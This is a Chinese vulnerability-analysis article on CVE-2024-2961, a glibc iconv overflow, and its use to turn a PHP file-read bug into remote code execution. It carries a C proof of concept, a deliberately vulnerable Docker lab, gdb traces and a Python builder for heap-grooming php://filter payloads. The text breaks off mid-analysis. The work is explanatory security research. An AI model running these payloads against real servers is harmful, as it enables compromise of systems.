原创 Paper | CVE-2024-2961 漏洞分析

文摘   科技   2024-06-13 15:24   湖北  
作者:Hcamael@知道创宇404实验室
时间:2024年6月13日
近期,Linux GLIBC的库函数iconv缓冲区溢出漏洞(CVE-2024-2961)的细节/PoC被公开,目前已知的利用方式是可以让PHP的任意文件读取漏洞升级的远程命令执行漏洞。本文将对公开的漏洞细节和PHP利用思路进行分析研究。



1 ICONV漏洞详情

CVE-2024-2961本质上是GLIBC中iconv库的漏洞,我认为该漏洞的发现巧合性很大。该漏洞的发现者是通过fuzz php发现该漏洞的,如果单纯的fuzz iconv库是无法导致crash,就算是fuzz php,一般情况下就算触发了该漏洞也很难导致crash。

首先是漏洞点,位于glibc/iconvdata/iso-2022-cn-ext.c文件,相关代码如下所示:

else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8))\
{ \
const char *escseq; \
\
assert (used == CNS11643_2_set); /* XXX */ \
escseq = "*H"; \
*outptr++ = ESC; \
*outptr++ = '$'; \
*outptr++ = *escseq++; \
*outptr++ = *escseq++; \
\
ann = (ann & ~SS2_ann) | (used << 8); \
} \
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8))\
{ \
const char *escseq; \
\
assert ((used >> 5) >= 3 && (used >> 5) <= 7); \
escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2; \
*outptr++ = ESC; \
*outptr++ = '$'; \
*outptr++ = *escseq++; \
*outptr++ = *escseq++; \
\
ann = (ann & ~SS3_ann) | (used << 8); \
}

在上述代码的这两个分支中,输入会被转换为4字节的输出,且不会检查输出buf的长度。这可能产生6种输出:

\x1b$*H        0x1b 0x24 0x2A 0x48
\x1b$+I 0x1b 0x24 0x2b 0x49
\x1b$+J 0x1b 0x24 0x2b 0x4a
\x1b$+K 0x1b 0x24 0x2b 0x4b
\x1b$+L 0x1b 0x24 0x2b 0x4c
\x1b$+M 0x1b 0x24 0x2b 0x4d

再来看看PoC,代码如下所示:

/*
CVE-2024-2961 POC
$ gcc -o poc ./poc.c && ./poc
Remaining bytes (should be > 0): -1
$
*/

#include <iconv.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

void hexdump(void *ptr, int buflen)
{
unsigned char *buf = (unsigned char *)ptr;
int i, j;
for (i = 0; i < buflen; i += 16)
{
printf("%06x: ", i);
for (j = 0; j < 16; j++)
if (i + j < buflen)
printf("%02x ", buf[i + j]);
else
printf(" ");
printf(" ");
for (j = 0; j < 16; j++)
if (i + j < buflen)
printf("%c", isprint(buf[i + j]) ? buf[i + j] : '.');
printf("\n");
}
}

void main()
{
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");

char input[0x10] = "AAAAA劄";
char output[0x10] = {0};

char *pinput = input;
char *poutput = output;

// Same size for input and output buffer
size_t sinput = strlen(input);
size_t soutput = sinput;

iconv(cd, &pinput, &sinput, &poutput, &soutput);

printf("Remaining bytes (should be > 0): %zd\n", soutput);

hexdump(output, 0x10);
}

编译上面的代码运行:

$ gcc poc.c -o poc
$ ./poc
./poc
Remaining bytes (should be > 0): -1
000000: 41 41 41 41 41 1b 24 2a 48 00 00 00 00 00 00 00 AAAAA.$*H.......

我们使用python来看看PoC的特殊字符:

BUG = "劄".encode()
print(BUG)
# b'\xe5\x8a\x84'

从上面的结果可以看出,这个特殊字符只占3字节,但是却会被转译为\x1b$*H四字节,产生了一字节的溢出,上面的PoC似乎还是不太好展示出该漏洞的影响情况,我们可以简单的改改代码,如下所示:

void main()
{
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");

char input[0x3] = "劄";
char output[0x3] = {0};
char overflow[0x5] = "AAAA";

char *pinput = input;
char *poutput = output;

// Same size for input and output buffer
size_t sinput = 3;
size_t soutput = 3;

size_t status = iconv(cd, &pinput, &sinput, &poutput, &soutput);

printf("Remaining bytes (should be > 0): %zd\nstatus = %d\n", soutput, status);

hexdump(output, 0x10);
printf("overflow = %s\n", overflow);
}
# 查看运行结果
$ gcc poc.c -o poc
$ ./poc
Remaining bytes (should be > 0): -1
status = -1
000000: 1b 24 2a 48 41 41 41 00 00 13 9e 1c e1 6c 44 86 .$*HAAA......lD.
overflow = HAAA

从上面的结果可以看出,我们成功的溢出了1字节到overflow变量中。




2 PHP任意文件读到RCE


参考资料

在了解完iconv漏洞原理之后,接下来再看看该漏洞的实际利用场景。目前已公开的漏洞利用场景只有一个,就是把PHP的任意文件读取漏洞转换为远程命令指令漏洞。

我们首先来看看以下PHP代码:

<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
?>

CTF的web手应该都知道,我们可以构造PoC:php://filter/read=convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=data:text/plain;base64,xxxxxxx

这样我们就可以调用iconv_open("ISO-2022-CN-EXT", "UTF-8");,接着控制iconv函数的输入buffer,达到触发iconv漏洞的目的。

2.1
环境搭建

首先我们需要搭建一个测试环境,Dockerfile如下所示:

$ cat Dockerfile
FROM ubuntu:22.04

RUN sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt update && apt install -y nginx php-fpm
# libc降级到有漏洞的版本
RUN apt install -y libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3 libc6=2.35-0ubuntu3
COPY index.php /var/www/html/index.php
COPY nginx.conf /etc/nginx/sites-enabled/default
COPY start.sh /start.sh
RUN chmod +x /start.sh

CMD ["start.sh"]

$ cat index.php
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
?>
$ cat nginx.conf
server {
listen 80 default_server;
listen [::]:80 default_server;


root /var/www/html;

index index.php;

server_name _;

location / {
try_files $uri $uri/ /index.php?$query_string;
}

location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}


}

$ cat start.sh
#!/bin/bash
/etc/init.d/php8.1-fpm start
nginx -g 'daemon off;'

环境搭建好以后,可以直接使用公开的PoC进行漏洞利用,能成功执行任意命令,该过程就不再赘述。

2.2
PoC分析

首先我们来看看公开的python PoC脚本,该PoC可以分为3个步骤。

  1. 首先,对目标是否能进行漏洞利用进行检测,该检测过程没法检测目标是否存在漏洞,只能检测目标是否存在进行漏洞利用的条件,有以下三个方面:

  • 检测目标的任意文件读是否支持:data:text/plain;base64,

  • 检测目标的任意文件读是否支持:php://filter//resource=data:text/plain;base64,

  • 检测目标的任意文件读是否支持:php://filter/zlib.inflate/resource=data:text/plain;base64,

  • 通过/proc/self/maps获取目标的内存布局,获取目标libc文件。获取目标内存布局需要获取libc的基地址,PHP堆的基地址。libc的基地址很好获取,但是PHP堆的基地址就得猜测,没办法100%确定,PHP堆有以下条件:

    • 大小在0x200000之上,并且为该大小的倍数,所以还需要0x200000对齐。

    • 该内存段不属于任何二进制文件。

    • 该内存段的权限为:rw-p

  • 构造Payload,发送Payload到目标进行漏洞利用。

  • 2.3
    漏洞利用分析

    接下来分析该PoC中是如何构造Payload以进行漏洞利用。

    2.3.1 调试环境搭建

    我们先来搭建一个漏洞调试环境,步骤如下:

    # 安装apt-src
    $ sudo apt install -y apt-src
    $ sudo apt-src update
    $ sudo apt-src install php8.1
    # 使用apt-src获取php源码后,会把源码解压到当前目录
    $ ls -alF
    drwxr-xr-x 26 ubuntu ubuntu 4096 May 29 07:11 php8.1-8.1.2/
    # 编译源码
    $ cd php8.1-8.1.2/ && dpkg-buildpackage
    # 保证libc存在漏洞
    $ sudo apt install -y libc6=2.35-0ubuntu3 libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3
    # gdb调试命令
    $ gdb ./php8.1-8.1.2/fpm-build/sapi/cli/php
    $ cat .gdbinit
    dir ./php8.1-8.1.2/
    r poc.php
    $ cat poc.php
    $poc = "php://filter/read=......";
    $data = file_get_contents($poc);
    var_dump($data);

    2.3.2 利用分析

    简单分析一下PoC可以得知,该漏洞利用的思路在CTF中算是简单题,程序复杂度上比CTF的难。

    如果把这道题看成CTF,那么就是一个在已知内存地址,libc的情况下进行堆的漏洞利用。并且PHP的堆分配并不是直接使用libc的malloc,而且封装了自己的堆函数。

    所以我们需要关注PHP的堆管理,首先需要关注_zend_mm_heap结构体:

    struct _zend_mm_heap {
    #if ZEND_MM_CUSTOM
    int use_custom_heap;
    #endif
    #if ZEND_MM_STORAGE
    zend_mm_storage *storage;
    #endif
    #if ZEND_MM_STAT
    size_t size; /* current memory usage */
    size_t peak; /* peak memory usage */
    #endif
    zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
    #if ZEND_MM_STAT || ZEND_MM_LIMIT
    size_t real_size; /* current size of allocated pages */
    #endif
    #if ZEND_MM_STAT
    size_t real_peak; /* peak size of allocated pages */
    #endif
    #if ZEND_MM_LIMIT
    size_t limit; /* memory limit */
    int overflow; /* memory overflow flag */
    #endif

    zend_mm_huge_list *huge_list; /* list of huge allocated blocks */

    zend_mm_chunk *main_chunk;
    zend_mm_chunk *cached_chunks; /* list of unused chunks */
    int chunks_count; /* number of allocated chunks */
    int peak_chunks_count; /* peak number of allocated chunks for current request */
    int cached_chunks_count; /* number of cached chunks */
    double avg_chunks_count; /* average number of chunks allocated per request */
    int last_chunks_delete_boundary; /* number of chunks after last deletion */
    int last_chunks_delete_count; /* number of deletion over the last boundary */
    #if ZEND_MM_CUSTOM
    union {
    struct {
    void *(*_malloc)(size_t);
    void (*_free)(void*);
    void *(*_realloc)(void*, size_t);
    } std;
    struct {
    void *(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
    void (*_free)(void* ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
    void *(*_realloc)(void*, size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
    } debug;
    } custom_heap;
    HashTable *tracked_allocs;
    #endif
    };

    在该结构体中,我们需要关注free_slot,这个结构体可以等同于最古老的tcache,因为没有任何的检查,利用难度直线下降。

    如果是在一个CTF题目中,我们可以用以下利用思路:

    1. 分配x个相同大小并且地址连续的堆,然后释放它们,那么它们会被放入tcache中形成链表。

    2. 我们获取第一个堆,并且通过漏洞溢出1字节,这样将会覆盖下一个堆的tcache链表指针。

    3. 因为溢出的一字节不可控,在此例中,为0x48,所以我们需要该地址的堆可以让我们任意地址写入。并且在之前控制该地址的值指向我们想要控制的任意地址,比如free_hook地址,这样我们之后分配的堆就能获取到free_hook地址的堆,达到控制free_hook的目的,从而RCE。

    在构思完思路后,我们来具体模拟一下:

    1. 有三个大小为0x100的连续的堆
    0x40100, 0x40200, 0x40300
    2. 控制0x40348地址的值为free_hook地址对齐后地址,或者其他想要任意写的任意地址。
    3. 释放它们形成tcache链表
    0x40100->0x40200->0x40300
    4. 获取第一个堆:0x40100,这样tcache链表就变成了:
    0x40200->0x40300
    5. 触发漏洞,让0x40100的堆溢出一字节,这样tcache的链表就变成了:
    0x40200->0x40348->free_hook
    6. 再分配一个堆,tcache链表变成了:
    0x40348->free_hook
    7. 重复第6步,tcache链表变成了:
    free_hook
    8. 重复第6步,这次我们获取到的堆地址指向了free_hook,让我们可以把其覆盖为system地址
    9. 调用free(buf), buf=/bin/sh,这样就能成功RCE

    以上为CTF中的利用思路,但是CTF中PWN题目的程序复杂度比较低,考验的都是漏洞利用技巧,很少会考验逆向能力,所以可以很容易控制堆分配和堆释放。但是在实际利用中,程序的复杂度不是一个量级的。

    在当前漏洞中,我们的测试环境中PHP只会调用file_get_contents函数,我们也只能控制该函数的参数,并不能很明显的控制malloc/free函数。因此,我们需要对file_get_contents函数进行逆向分析,看看在PHP源码中,如何控制file_get_contents函数调用堆分配/释放,并且获取我们需要大小的堆。

    经过对公开的PoC进行调试,结合PHP的源码分析,可以得知以下几点:

    1. zlib.inflate的作用是进行zlib解压缩,将会调用PHP的php_zlib_inflate_filter函数,并且在php_zlib_filter_create函数中限制了能分配的最大堆尺寸为0x8000。

    2. dechunk的作用是处理HTTP CHUNKED,将会调用PHP的php_chunked_filter函数,我们可以通过该函数,buffer的size标志位缩减到任意值。没法控制堆的大小,只能控制有效长度的标志位。在file_get_contents函数的流程中,用户输入的buffer都是放在php_stream_bucket结构体中,该结构体的定义如下:

    struct _php_stream_bucket {
    php_stream_bucket *next, *prev;
    php_stream_bucket_brigade *brigade;

    char *buf;
    size_t buflen;
    /* if non-zero, buf should be pefreed when the bucket is destroyed */
    uint8_t own_buf;
    uint8_t is_persistent;

    /* destroy this struct when refcount falls to zero */
    int refcount;
    };

    在该结构体中,buf指向一个堆缓冲区,比如指向一个大小为0x8000的堆,但是buflen表示的是数据的有效长度,比如可以是0x8000,那么该堆中的数据都是有效的,通过dechunk过滤器,我们可以缩减buflen的长度为任意值,比如缩减到0x100,那么堆还是0x8000的堆,但是只有前0x100字节的数据是有效数据。

    1. convert.quoted-printable-decode的作用是对=00格式的数据进行解码,变为\x00

    2. convert.iconv.x.x的作用调用iconv函数对数据进行编码转换。在PoC中使用两种:convert.iconv.UTF-8.ISO-2022-CN-EXTconvert.iconv.latin1.latin1

    其中convert.iconv.UTF-8.ISO-2022-CN-EXT很明显是用来触发漏洞的。但是convert.iconv.latin1.latin1的作用需要仔细分析。

    convert.iconv.x.x过滤器调用的是php_iconv_stream_filter_do_filter函数,进过分析发现,在该函数中输出的buffer会根据buflen对堆进行重新分配。例如,输出的buffer是一个0x8000的堆,但是buflen=0x100,那么就会根据该长度申请一个新的堆作为iconv的输出。经过iconv编码转换,由于输入输出的编码相同,所以输出数据不变,但堆的大小会发生变化。

    通过上述分析可以发现,在PoC中组合使用dechunkconvert.iconv.latin1.latin1的原因是因为这样可以控制获取任意大小的堆。通过dechunkbuflen设置为0x8000以下的任意值,然后使用convert.iconv.latin1.latin1把堆修改为相应的size。除了可以分配任意size的堆,还可以把任意size的堆放入free_slot中。

    PoC中利用的目标为修改_zend_mm_heap结构体中的custom_heap结构,作用和free_hook类似,因为在emalloc中有以下代码:

    ZEND_API void* ZEND_FASTCALL _emalloc(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
    {
    // 如果设置了custom堆,则调用该函数,跟free_hook的作用一样
    #if ZEND_MM_CUSTOM
    if (UNEXPECTED(AG(mm_heap)->use_custom_heap)) {
    return _malloc_custom(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
    }
    #endif
    return zend_mm_alloc_heap(AG(mm_heap), size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
    }

    custom_heap结构体中的_free设置为system,那么调用efree的时候就能执行system函数了。

    2.3.3 漏洞调试

    接下来,通过调试的方法来研究在PHP的实际环境中如何构造利用链。

    建议在以下位置下断点调试,能比较清晰的看出堆的变化情况:

     ? 0x5555557dfae5 <_php_stream_fill_read_buffer+309>    call   qword ptr [rax]               <php_zlib_inflate_filter>
    rdi: 0x7ffff527d2a0 —? 0x555555a6dd40 (php_stream_rfc2397_ops) ?— 0x0
    rsi: 0x7ffff52a3000 —? 0x555555a0f760 (php_zlib_inflate_ops) —? 0x5555556cc740 (php_zlib_inflate_filter) ?— endbr64
    rdx: 0x7fffffffa7a0 —? 0x7ffff5262180 ?— 0x0
    ......
    In file: /home/ubuntu/CVE-2024-2961/php8.1-8.1.2/main/streams/streams.c:575
    570 flags = stream->eof ? PSFS_FLAG_FLUSH_CLOSE : PSFS_FLAG_FLUSH_INC;
    571 }
    572
    573 /* wind the handle... */
    574 for (filter = stream->readfilters.head; filter; filter = filter->next) {
    ? 575 status = filter->fops->filter(stream, filter, brig_inp, brig_outp, NULL, flags);

    我们可以直接把这个断点加入到gdbinit中:

    $ cat .gdbinit
    dir ./php8.1-8.1.2/
    b *(_php_stream_fill_read_buffer+309)
    r poc.php

    由于我们使用gdb调试,而gdb默认会关闭地址随机化,因此我们可以在gdbinit中定义一个指令方便我们查看PHP的堆信息。此外,还可以再添加一个指令,方便查看pbucket的情况,最终的gdbinit内容如下所示:

    $ cat .gdbinit
    define php_heap
    p *(struct _zend_mm_heap *) 0x7ffff5200040
    end
    define pbucket
    p *(php_stream_bucket *) $arg0
    end
    define pbucketall
    pbucket $arg0
    set $bucket = (php_stream_bucket*) $arg0
    if $bucket->next != 0
    pbucketall $bucket->next
    end
    end
    dir ./php8.1-8.1.2/
    b *(_php_stream_fill_read_buffer+309)
    r poc.php

    接下来还需要编写一个python脚本,以便控制和生成payload。如下所示,有些函数直接参考了公开的PoC:

    #!/usr/bin/env python3
    # -*- coding=utf-8 -*-

    import zlib
    import base64

    def p64(data: int) -> bytes:
    return int.to_bytes(data, 8, "little")

    # 该函数对数据进行zlib压缩,让php的zlib.inflate进行解压缩
    def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]

    # 对数据纪念下quoted printable编码,php解码使用的是convert.quoted-printable-decode
    def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()

    # 最终填充到0x8000长度的数据
    def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)

    # 进行HTTP CHUNKED编码,php使用dechunk
    def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    # The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
    size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"

    # 做了点修改,把chunk函数删除了,因为payload的构造不一样,所以使用chunk函数会有不同
    def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
    assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    return bucket

    def buildPayload() -> str:
    payload = b""
    pages = (
    payload
    )
    resource = compress(pages)
    resource = base64.b64encode(resource)
    resource = f"data:text/plain;base64,{resource.decode()}"
    filters = [
    "zlib.inflate",
    ]
    filters = "|".join(filters)
    path = f"php://filter/read={filters}/resource={resource}"

    return path

    def main():
    path = buildPayload()
    phpCode = f"""<?php
    $poc = "{path}";
    $data = file_get_contents($poc);
    var_dump($data);
    ?>"""
    with open("poc.php", "w") as f:
    f.write(phpCode)
    print(path)

    if __name__ == "__main__":
    main()

    以上就是我通过公开的PoC修改的一版调试用的python脚本,我们只需关注该脚本中的buildPayload函数。调试命令也很简单:python3 poc.py && gdb ./php8.1-8.1.2/fpm-build/sapi/cli/php

    接下来我们将探讨如何将这一问题与CTF的思路联系起来。在CTF中,常能够轻松利用的原因是我们可以相对容易地控制堆的分配和释放。因此,现在我们需要研究如何在php中实现对堆的分配和释放的控制。

    和公开的PoC一样,我们选择控制长度为0x100的堆(这个长度的堆比较好对齐)。

    在此之前,我们还需要知道在PHP堆的free_slot中,堆的尺寸是如何分布的,可以参见zend_alloc_sizes.h文件,如下所示:

    /* num, size, count, pages */
    #define ZEND_MM_BINS_INFO(_, x, y) \
    _( 0, 8, 512, 1, x, y) \
    _( 1, 16, 256, 1, x, y) \
    _( 2, 24, 170, 1, x, y) \
    _( 3, 32, 128, 1, x, y) \
    _( 4, 40, 102, 1, x, y) \
    _( 5, 48, 85, 1, x, y) \
    _( 6, 56, 73, 1, x, y) \
    _( 7, 64, 64, 1, x, y) \
    _( 8, 80, 51, 1, x, y) \
    _( 9, 96, 42, 1, x, y) \
    _(10, 112, 36, 1, x, y) \
    _(11, 128, 32, 1, x, y) \
    _(12, 160, 25, 1, x, y) \
    _(13, 192, 21, 1, x, y) \
    _(14, 224, 18, 1, x, y) \
    _(15, 256, 16, 1, x, y) \
    _(16, 320, 64, 5, x, y) \
    _(17, 384, 32, 3, x, y) \
    _(18, 448, 9, 1, x, y) \
    _(19, 512, 8, 1, x, y) \
    _(20, 640, 32, 5, x, y) \
    _(21, 768, 16, 3, x, y) \
    _(22, 896, 9, 2, x, y) \
    _(23, 1024, 8, 2, x, y) \
    _(24, 1280, 16, 5, x, y) \
    _(25, 1536, 8, 3, x, y) \
    _(26, 1792, 16, 7, x, y) \
    _(27, 2048, 8, 4, x, y) \
    _(28, 2560, 8, 5, x, y) \
    _(29, 3072, 4, 3, x, y)

    所以我们要查看0x100大小的堆在free_slot中的情况,可以使用以下命令:

    pwndbg> php_heap
    $1 = {
    use_custom_heap = 0,
    storage = 0x0,
    size = 493544,
    peak = 493544,
    free_slot = ......
    pwndbg> p $1.free_slot[15]
    $2 = (zend_mm_free_slot *) 0x7ffff5288100

    2.3.3.1 获取一个0x100大小的堆

    要让PHP分配一个0x100大小的堆,buildPayload函数的编写可以参见以下代码:

    def buildPayload() -> str:
    heapSize = 0x100

    step1 = b"A" * heapSize
    step1 = compressed_bucket(step1)

    pages = (
    step1
    )
    resource = compress(pages)
    resource = base64.b64encode(resource)
    resource = f"data:text/plain;base64,{resource.decode()}"
    filters = [
    # zlib解压缩
    "zlib.inflate",
    # 让php分配0x100大小的堆
    "dechunk",
    "convert.iconv.latin1.latin1"
    ]
    filters = "|".join(filters)
    path = f"php://filter/read={filters}/resource={resource}"

    return path

    通过调试查看堆分配情况,过程如下所示:

    第一次断点断在php_zlib_inflate_filter函数,该函数将会对输入的数据进行zlib解压缩,gdb情况如下所示。

     ? 0x5555557dfae5 <_php_stream_fill_read_buffer+309>    call   qword ptr [rax]               <php_zlib_inflate_filter>
    rdi: 0x7ffff527d2a0 —? 0x555555a6dd40 (php_stream_rfc2397_ops) ?— 0x0
    rsi: 0x7ffff5283000 —? 0x555555a0f760 (php_zlib_inflate_ops) —? 0x5555556cc740 (php_zlib_inflate_filter) ?— endbr64
    rdx: 0x7fffffffa7a0 —? 0x7ffff5262180 ?— 0x0

    第二次在php_chunked_filter函数处设置断点,查看输入的bucket结构,里面的内容为输入的0x8000长度的数据,gdb详情如下所示:

    pwndbg> c
    ? 0x5555557dfae5 <_php_stream_fill_read_buffer+309> call qword ptr [rax] <php_chunked_filter>
    rdi: 0x7ffff527d2a0 —? 0x555555a6dd40 (php_stream_rfc2397_ops) ?— 0x0
    rsi: 0x7ffff5283050 —? 0x555555a6db00 (chunked_filter_ops) —? 0x5555557bcdc0 (php_chunked_filter) ?— endbr64
    rdx: 0x7fffffffa7b0 —? 0x7ffff5262180 ?— 0x0
    pwndbg> pbucket 0x7ffff5262180
    $1 = {
    next = 0x0,
    prev = 0x0,
    brigade = 0x7fffffffa7b0,
    buf = 0x7ffff52a3000 '0' <repeats 200 times>...,
    buflen = 32768,
    own_buf = 1 '\001',
    is_persistent = 0 '\000',
    refcount = 1
    }

    第三次断点设置在了php_iconv_stream_filter_do_filter函数处,查看bucket内容,发现buf的堆地址没变,只有buflen被修改为了0x100,gdb详情如下所示:

    pwndbg> c
    ? 0x5555557dfae5 <_php_stream_fill_read_buffer+309> call qword ptr [rax] <php_iconv_stream_filter_do_filter>
    rdi: 0x7ffff527d2a0 —? 0x555555a6dd40 (php_stream_rfc2397_ops) ?— 0x0
    rsi: 0x7ffff52830a0 —? 0x7ffff493e430 (php_iconv_stream_filter_ops) —? 0x7ffff4937d60 (php_iconv_stream_filter_do_filter) ?— endbr64
    rdx: 0x7fffffffa7a0 —? 0x7ffff5262180 ?— 0x0
    pwndbg> pbucket 0x7ffff5262180
    $2 = {
    next = 0x0,
    prev = 0x0,
    brigade = 0x7fffffffa7a0,
    buf = 0x7ffff52a3000 'A' <repeats 200 times>...,
    buflen = 256,
    own_buf = 1 '\001',
    is_persistent = 0 '\000',
    refcount = 1
    }

    在最后一步,无法再继续执行continue命令,因为程序会运行结束。此时,我们需要使用next指令观察执行完php_iconv_stream_filter_do_filter函数后bucket的情况,gdb过程如下所示:

    pwndbg> ni
    ......
    pwndbg> p *brig_outp.head
    $1 = {
    next = 0x0,
    prev = 0x0,
    brigade = 0x7fffffffa7b0,
    buf = 0x7ffff5288100 'A' <repeats 200 times>...,
    buflen = 256,
    own_buf = 1 '\001',
    is_persistent = 0 '\000',
    refcount = 1
    }
    pwndbg> php_heap
    $2 = {
    ......
    pwndbg> p $2.free_slot[15]
    $3 = (zend_mm_free_slot *) 0x7ffff5288200

    从上述过程可以看出,我们成功地申请到了一个大小为0x100的堆。

    2.3.3.2 释放一个长度为0x100大小的堆

    buildPayload函数的编写可以参考以下代码:

    def buildPayload() -> str:
    heapSize = 0x100

    step1 = b"A" * 0x10
    step1 = chunked_chunk(step1, heapSize)
    step1 = compressed_bucket(step1)

    pages = (
    step1
    )
    resource = compress(pages)
    resource = base64.b64encode(resource)
    resource = f"data:text/plain;base64,{resource.decode()}"
    filters = [
    # zlib解压缩
    "zlib.inflate",
    # 让php分配0x100大小的堆
    "dechunk",
    "convert.iconv.latin1.latin1",
    # 释放0x100大小的堆
    "dechunk",
    "convert.iconv.latin1.latin1"
    ]
    filters = "|".join(filters)
    path = f"php://filter/read={filters}/resource={resource}"

    return path

    前面四步和上面一样,我们从第二个dechunk执行完开始,gdb过程如下所示:

    pwndbg> p *brig_inp.head
    $1 = {
    next = 0x0,
    prev = 0x0,
    brigade = 0x7fffffffa7a0,
    buf = 0x7ffff5288100 'A' <repeats 16 times>, '0' <repeats 184 times>...,
    buflen = 16,
    own_buf = 1 '\001',
    is_persistent = 0 '\000',
    refcount = 1
    }
    p $2.free_slot[15]
    $3 = (zend_mm_free_slot *) 0x7ffff5288200

    在第二个dechunk执行完毕后,buf仍然是长度为0x100的堆,但buflen被修改为了0x10。接着我们把程序停在执行完php_iconv_stream_filter_do_filter函数之后,再查看堆信息,gdb过程如下所示:

    pwndbg> p *brig_outp.head
    $1 = {
    next = 0x0,
    prev = 0x0,
    brigade = 0x7fffffffa7b0,
    buf = 0x7ffff527e060 'A' <repeats 16 times>, "\200\340'\365\377\177",
    buflen = 16,
    own_buf = 1 '\001',
    is_persistent = 0 '\000',
    refcount = 1
    }
    pwndbg> p $2.free_slot[15]
    $3 = (zend_mm_free_slot *) 0x7ffff5288100

    从上面的结果可以看出,大小为0x100的堆(0x7ffff5288100)已经被释放并且被放入free_slot当中。

    2.3.3.3 触发漏洞

    完成了上面两步的调试过程,我们已经可以像做一道CTF的堆题一样,随意的控制mallocfree

    现在我们来尝试按照上面分析CTF题的步骤来构造触发漏洞的利用链。

    经过一番调试分析,我构造的利用链步骤如下:

    1. 最开始0x100大小的堆的free链表为:0x7ffff5288100->0x200->0x300->0x400->0x500...

    2. 申请三个堆后,free链表为:0x7ffff5288400->0x500->0x600...

    3. 把这三个堆释放后,free链表为:0x7ffff5288300->0x200->0x100->0x400...

    4. 再次申请两个堆,地址为 0x7ffff52883000x7ffff5288200

    5. 把这两个堆释放,这个时候free链表为:0x7ffff5288200->0x300->0x100->0x400...

    6. 触发漏洞,这个时候0x7ffff5288200会被用来存放iconv的结果,所以能溢出1字节覆盖到了0x7ffff5288300地址的第一字节,这个时候free链表变为了:0x7ffff5288300->0x148->...

    7. 由于触发漏洞时,iconv返回-1,所以0x7ffff5288200堆在溢出后会被释放,这个时候free链表为:0x7ffff5288200->0x300->0x148...

    根据上面的步骤,来编写buildPayload函数,代码如下所示:

    def buildPayload() -> str:
    '''
    我们把一次处理dechunk + convert.iconv.的过程算一步
    '''
    heapSize = 0x100
    BUG = "劄".encode("utf-8")

    # 第一步申请0x100的堆,第二步释放
    step1_malloc_step2_free = b"A" * 0x10
    # 第三次dechunk,长度小于0x100
    step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free)
    # 第二次dechunk,长度小于0x100
    step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free, heapSize)
    # 第一次dechunk,长度等于0x100
    step1_malloc_step2_free = compressed_bucket(step1_malloc_step2_free)

    # 第二步申请0x100的堆,第三步释放
    step2_malloc_step3_free = b"B" * 0x20
    # 第三次dechunk,长度小于0x100
    step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free, heapSize)
    # 第二次dechunk,长度等于0x100
    step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free)
    # 第一次dechunk,长度大于0x100
    step2_malloc_step3_free = compressed_bucket(step2_malloc_step3_free)

    # 第三步触发bug
    step3_trigger_bug = (0x100 - len(BUG)) * b"\x00" + BUG
    # 确保长度为0x100
    assert len(step3_trigger_bug) == 0x100
    # 第三次dechunk,长度等于0x100
    step3_trigger_bug = chunked_chunk(step3_trigger_bug)
    # 第二次dechunk,长度大于0x100
    step3_trigger_bug = chunked_chunk(step3_trigger_bug)
    # 第一次dechunk,长度大于0x100
    step3_trigger_bug = compressed_bucket(step3_trigger_bug)


    pages = (
    step1_malloc_step2_free * 3 +
    step2_malloc_step3_free * 2 +
    step3_trigger_bug
    )
    resource = compress(pages)
    resource = base64.b64encode(resource)
    resource = f"data:text/plain;base64,{resource.decode()}"
    filters = [
    # zlib解压缩
    "zlib.inflate",
    # 第一步
    "dechunk",
    "convert.iconv.latin1.latin1",
    # 第二步
    "dechunk",
    "convert.iconv.latin1.latin1",
    # 第三步触发漏洞
    "dechunk",
    "convert.iconv.UTF-8.ISO-2022-CN-EXT"
    ]
    filters = "|".join(filters)
    path = f"php://filter/read={filters}/resource={resource}"

    return path

    接着使用gdb调试查看堆布局,如下所示:

